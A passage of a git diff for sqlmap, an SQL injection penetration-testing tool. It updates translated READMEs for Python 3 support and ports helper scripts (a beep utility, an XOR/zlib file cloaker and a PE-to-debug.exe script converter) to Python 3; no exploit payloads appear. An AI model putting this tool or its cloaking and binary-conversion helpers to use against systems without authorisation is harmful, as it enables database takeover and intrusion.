Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα.
+Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md
index 7b84a99bc07..5c6a2da4bd4 100644
--- a/doc/translations/README-hr-HR.md
+++ b/doc/translations/README-hr-HR.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index 6cf44cf044c..c6adca685fb 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
@@ -21,7 +21,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [G
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun.
+sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md
index eddaa95ac03..17c8b59aa15 100644
--- a/doc/translations/README-it-IT.md
+++ b/doc/translations/README-it-IT.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
+sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md
index 711e919f705..420697539d4 100644
--- a/doc/translations/README-ja-JP.md
+++ b/doc/translations/README-ja-JP.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用法
----
diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md
new file mode 100644
index 00000000000..7d08900b30a
--- /dev/null
+++ b/doc/translations/README-ko-KR.md
@@ -0,0 +1,50 @@
+# sqlmap
+
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+
+sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
+
+스크린샷
+----
+
+
+
+또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다.
+
+설치
+----
+
+[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
+
+가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+
+사용법
+----
+
+기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+ python sqlmap.py -h
+
+전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+ python sqlmap.py -hh
+
+[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
+sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다.
+
+링크
+----
+
+* 홈페이지: http://sqlmap.org
+* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
+* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* 트위터: [@sqlmap](https://twitter.com/sqlmap)
+* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md
index bcc3485897a..142be1c5a83 100644
--- a/doc/translations/README-pl-PL.md
+++ b/doc/translations/README-pl-PL.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej.
+do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
Sposób użycia
----
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index ea42053a328..71f755d1d95 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -1,8 +1,8 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
-sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
+sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
Imagens
----
@@ -21,7 +21,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas.
+sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
Como usar
----
diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RUS.md
index 4e46b296025..89a19cfbfc6 100644
--- a/doc/translations/README-ru-RUS.md
+++ b/doc/translations/README-ru-RUS.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
+sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
Использование
----
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
index d1f6238c04e..56d698cfe69 100644
--- a/doc/translations/README-tr-TR.md
+++ b/doc/translations/README-tr-TR.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.
@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir.
+sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım
----
diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md
index ddbedef9fe7..4036b9d5a05 100644
--- a/doc/translations/README-uk-UA.md
+++ b/doc/translations/README-uk-UA.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6.x** та **2.7.x** на будь-якій платформі.
+sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
Використання
----
diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md
index 5eee311860e..76d4136108f 100644
--- a/doc/translations/README-zh-CN.md
+++ b/doc/translations/README-zh-CN.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
@@ -20,7 +20,7 @@ sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上
+sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
使用方法
----
diff --git a/extra/__init__.py b/extra/__init__.py
index c654cbef7f4..a1e6b478904 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index c654cbef7f4..a1e6b478904 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index 2379222dcb8..7a866bff0d6 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,12 +3,11 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
-import subprocess
import sys
import wave
@@ -16,11 +15,13 @@
def beep():
try:
- if subprocess.mswindows:
+ if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME)
- elif sys.platform == "darwin":
+ elif sys.platform.startswith("darwin"):
_mac_beep()
- elif sys.platform == "linux2":
+ elif sys.platform.startswith("cygwin"):
+ _cygwin_beep(BEEP_WAV_FILENAME)
+ elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
_linux_wav_play(BEEP_WAV_FILENAME)
else:
_speaker_beep()
@@ -35,6 +36,10 @@ def _speaker_beep():
except IOError:
pass
+# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
+def _cygwin_beep(filename):
+ os.system("play-sound-file '%s' 2>/dev/null" % filename)
+
def _mac_beep():
import Carbon.Snd
Carbon.Snd.SysBeep(1)
@@ -58,7 +63,10 @@ def _linux_wav_play(filename):
class struct_pa_sample_spec(ctypes.Structure):
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
- pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+ try:
+ pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+ except OSError:
+ return
wave_file = wave.open(filename, "rb")
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index c654cbef7f4..a1e6b478904 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index 79d42dba03b..860f4fde350 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,24 +3,28 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+from __future__ import print_function
+
import os
+import struct
import sys
import zlib
from optparse import OptionError
from optparse import OptionParser
+if sys.version_info >= (3, 0):
+ xrange = range
+
def hideAscii(data):
- retVal = ""
+ retVal = b""
for i in xrange(len(data)):
- if ord(data[i]) < 128:
- retVal += chr(ord(data[i]) ^ 127)
- else:
- retVal += data[i]
+ value = data[i] if isinstance(data[i], int) else ord(data[i])
+ retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
return retVal
@@ -37,8 +41,9 @@ def decloak(inputFile=None, data=None):
data = f.read()
try:
data = zlib.decompress(hideAscii(data))
- except:
- print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile
+ except Exception as ex:
+ print(ex)
+ print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
sys.exit(1)
finally:
f.close()
@@ -59,11 +64,11 @@ def main():
if not args.inputFile:
parser.error('Missing the input file, -h for help')
- except (OptionError, TypeError), e:
- parser.error(e)
+ except (OptionError, TypeError) as ex:
+ parser.error(ex)
if not os.path.isfile(args.inputFile):
- print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile
+ print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile)
sys.exit(1)
if not args.decrypt:
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index c654cbef7f4..a1e6b478904 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index fa65d448bb7..4d7352557c4 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,13 +3,14 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+from __future__ import print_function
+
import os
import sys
-import struct
from optparse import OptionError
from optparse import OptionParser
@@ -19,7 +20,7 @@ def convert(inputFile):
fileSize = fileStat.st_size
if fileSize > 65280:
- print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
+ print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile)
sys.exit(1)
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
@@ -32,7 +33,7 @@ def convert(inputFile):
fileContent = fp.read()
for fileChar in fileContent:
- unsignedFileChar = struct.unpack("B", fileChar)[0]
+ unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar)
if unsignedFileChar != 0:
counter2 += 1
@@ -59,7 +60,7 @@ def convert(inputFile):
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
- print "ERROR: the provided input file '%s' is not a regular file" % inputFile
+ print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
sys.exit(1)
script = convert(inputFile)
@@ -70,7 +71,7 @@ def main(inputFile, outputFile):
sys.stdout.write(script)
sys.stdout.close()
else:
- print script
+ print(script)
if __name__ == "__main__":
usage = "%s -i [-o